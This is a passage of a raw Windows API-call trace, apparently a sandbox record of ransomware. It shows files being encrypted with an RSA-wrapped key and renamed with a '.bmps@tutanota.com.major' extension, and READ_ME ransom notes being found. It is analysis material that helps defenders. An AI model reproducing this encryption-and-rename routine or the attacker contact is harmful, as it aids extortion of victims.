returned 1 [0238.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0238.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0238.448] SetFilePointer (in: hFile=0x1a3c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0238.448] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0238.448] WriteFile (in: hFile=0x1a3c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0238.449] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0238.449] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0238.449] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0238.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0238.449] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="T5bTKFygtYPGy205FuDnK7DTOedIpHKMGX+Z6P7PRiJg6JyVyNfbBI9OAsZlw9Q7\nmUG/gZLFjOYUtvKXviMMIx1kWIMVcyim0dwiYklaCYHC7LnJxPkkDmks80KFem0m\nBMdoYqu+pZbGnJ0Cq8fPm3fDYjkZNcXBs7ZWD5IAPFu6cClrTZiJDvRXhhiIcDPd\nP/AQzaXGJgSFEX4qddSDTOgvNgLIqbN+XA/DzjMdo9PQMqAsbCXWiuyaZnVxp0Gq\nXV+NsJQ7l3rwt/gGwXtTFh5Ghk0znW3LEvBLIKIp9GCmWxf3tgYScRfkzb6ZnJ9a\nGPoqANcZa8VCEg5mgzpjaQ==\n", pcchString=0x2e3f9a8) returned 1 [0238.449] WriteFile (in: hFile=0x1a3c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0238.449] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0238.449] WriteFile (in: hFile=0x1a3c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0238.449] CloseHandle (hObject=0x1a3c) returned 1 [0238.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0238.449] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies-journal"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies-journal.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0238.515] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659f88 | out: hHeap=0x570000) returned 1 [0238.515] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0238.515] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee37d8 | out: hHeap=0x570000) returned 1 [0238.515] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3bc8 | out: hHeap=0x570000) returned 1 [0238.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c5d8 [0238.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0238.515] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0238.515] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies", dwFileAttributes=0x80) returned 1 [0238.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65d088 [0238.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6630c8 [0238.515] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d088 | out: hHeap=0x570000) returned 1 [0238.515] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a3c [0238.516] GetFileSizeEx (in: hFile=0x1a3c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=7168) returned 1 [0238.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1c00) returned 0x6548b8 [0238.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1c00) returned 0x2f81868 [0238.516] ReadFile (in: hFile=0x1a3c, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1c00, lpOverlapped=0x0) returned 1 [0239.069] SetFilePointer (in: hFile=0x1a3c, lDistanceToMove=-7168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.069] WriteFile (in: hFile=0x1a3c, lpBuffer=0x2f81868*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1c00, lpOverlapped=0x0) returned 1 [0239.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0239.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0239.069] SetFilePointer (in: hFile=0x1a3c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1c00 [0239.070] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0239.070] WriteFile (in: hFile=0x1a3c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0239.070] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0239.070] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0239.070] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0239.070] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0239.070] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="PK65tRKcTCJiqLGq/Xna1V6u9rjxNfJjo7fVgk+sZaVSJqgIVkXmWgY5dXyAlQTT\n9OA+9NDfN0oPkSa5ZOhmso2G1lWJBNH3MW/itfzDZo3bt0u1cqYaiGCTp6NQBdyW\nngRFFGX18bZlFaJpj6Zm3W87ulkKkGRT+gwXb1BKg5vXuI4EDs2mopAPVUKA+iGz\n6OIgzGtANN4CWxcehNbYQxWPyHvyWDGHNCaBlK/lrTkBB6SU/Pnm6+CAcrR9KvR0\nDeQsyDCIij2fo0wizF1NbTi6pgz8mcE+o+a1HFslwnLga+ZSzqdVudV2lmCVuwbw\nqb7CsqH784dcEAJte16mug==\n", pcchString=0x2e3f9a8) returned 1 [0239.070] WriteFile (in: hFile=0x1a3c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0239.070] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0239.070] WriteFile (in: hFile=0x1a3c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0239.070] CloseHandle (hObject=0x1a3c) returned 1 [0239.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0239.070] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0239.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6630c8 | out: hHeap=0x570000) returned 1 [0239.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0239.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65c5d8 | out: hHeap=0x570000) returned 1 [0239.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65cf58 | out: hHeap=0x570000) returned 1 [0239.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c378 [0239.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0239.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65cec0 | out: hHeap=0x570000) returned 1 [0239.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9b78 | out: hHeap=0x570000) returned 1 [0239.103] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3b416115, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34ba0 [0239.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665598 | out: hHeap=0x570000) returned 1 [0239.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0239.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0239.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0239.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6658b8 [0239.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0239.104] GetLastError () returned 0x0 [0239.104] SetLastError (dwErrCode=0x0) [0239.104] GetLastError () returned 0x0 [0239.104] SetLastError (dwErrCode=0x0) [0239.104] GetLastError () returned 0x0 [0239.104] SetLastError (dwErrCode=0x0) [0239.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0239.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0239.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0239.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0239.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f349a0 [0239.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f349a0 | out: hHeap=0x570000) returned 1 [0239.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40450 [0239.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40450 | out: hHeap=0x570000) returned 1 [0239.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0239.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0239.104] FindNextFileW (in: hFindFile=0x2f34ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3b416115, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0239.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6658b8 | out: hHeap=0x570000) returned 1 [0239.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0239.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ab50 [0239.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0239.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665598 [0239.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ab50 | out: hHeap=0x570000) returned 1 [0239.104] GetLastError () returned 0x0 [0239.105] SetLastError (dwErrCode=0x0) [0239.105] GetLastError () returned 0x0 [0239.105] SetLastError (dwErrCode=0x0) [0239.105] GetLastError () returned 0x0 [0239.105] SetLastError (dwErrCode=0x0) [0239.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0239.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be268 [0239.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be268 | out: hHeap=0x570000) returned 1 [0239.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0239.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34e60 [0239.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34e60 | out: hHeap=0x570000) returned 1 [0239.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0239.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0239.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0239.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0239.105] FindNextFileW (in: hFindFile=0x2f34ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b416115, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b416115, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b416115, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0239.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665598 | out: hHeap=0x570000) returned 1 [0239.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0239.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0239.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0239.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665728 [0239.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0239.105] GetLastError () returned 0x0 [0239.105] SetLastError (dwErrCode=0x0) [0239.105] GetLastError () returned 0x0 [0239.105] SetLastError (dwErrCode=0x0) [0239.105] GetLastError () returned 0x0 [0239.105] SetLastError (dwErrCode=0x0) [0239.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0239.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0239.106] FindNextFileW (in: hFindFile=0x2f34ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b416115, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b416115, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b416115, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0239.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664850 [0239.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65c378 | out: hHeap=0x570000) returned 1 [0239.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667068 | out: hHeap=0x570000) returned 1 [0239.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9bf0 | out: hHeap=0x570000) returned 1 [0239.106] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Unindexed Rules\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f349a0 [0239.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665728 | out: hHeap=0x570000) returned 1 [0239.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0239.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0239.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0239.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665980 [0239.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0239.106] GetLastError () returned 0x12 [0239.106] SetLastError (dwErrCode=0x12) [0239.106] GetLastError () returned 0x12 [0239.106] SetLastError (dwErrCode=0x12) [0239.106] GetLastError () returned 0x12 [0239.106] SetLastError (dwErrCode=0x12) [0239.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0239.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be420 [0239.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be420 | out: hHeap=0x570000) returned 1 [0239.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0239.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34fe0 [0239.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34fe0 | out: hHeap=0x570000) returned 1 [0239.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40438 [0239.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40438 | out: hHeap=0x570000) returned 1 [0239.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0239.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0239.107] FindNextFileW (in: hFindFile=0x2f349a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0239.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665980 | out: hHeap=0x570000) returned 1 [0239.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0239.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0239.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0239.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0239.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0239.107] GetLastError () returned 0x12 [0239.107] SetLastError (dwErrCode=0x12) [0239.107] GetLastError () returned 0x12 [0239.107] SetLastError (dwErrCode=0x12) [0239.107] GetLastError () returned 0x12 [0239.107] SetLastError (dwErrCode=0x12) [0239.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0239.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be948 [0239.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be948 | out: hHeap=0x570000) returned 1 [0239.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0239.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34b60 [0239.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34b60 | out: hHeap=0x570000) returned 1 [0239.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40450 [0239.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40450 | out: hHeap=0x570000) returned 1 [0239.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0239.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0239.108] FindNextFileW (in: hFindFile=0x2f349a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48887c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b48887c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0239.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0239.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0239.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b5f0 [0239.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0239.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664f58 [0239.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0239.108] GetLastError () returned 0x12 [0239.108] SetLastError (dwErrCode=0x12) [0239.108] GetLastError () returned 0x12 [0239.108] SetLastError (dwErrCode=0x12) [0239.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0239.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664f58 | out: hHeap=0x570000) returned 1 [0239.108] GetLastError () returned 0x12 [0239.108] SetLastError (dwErrCode=0x12) [0239.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0239.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0239.108] FindNextFileW (in: hFindFile=0x2f349a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48887c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b48887c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0239.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2ee3c70 [0239.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664850 | out: hHeap=0x570000) returned 1 [0239.108] 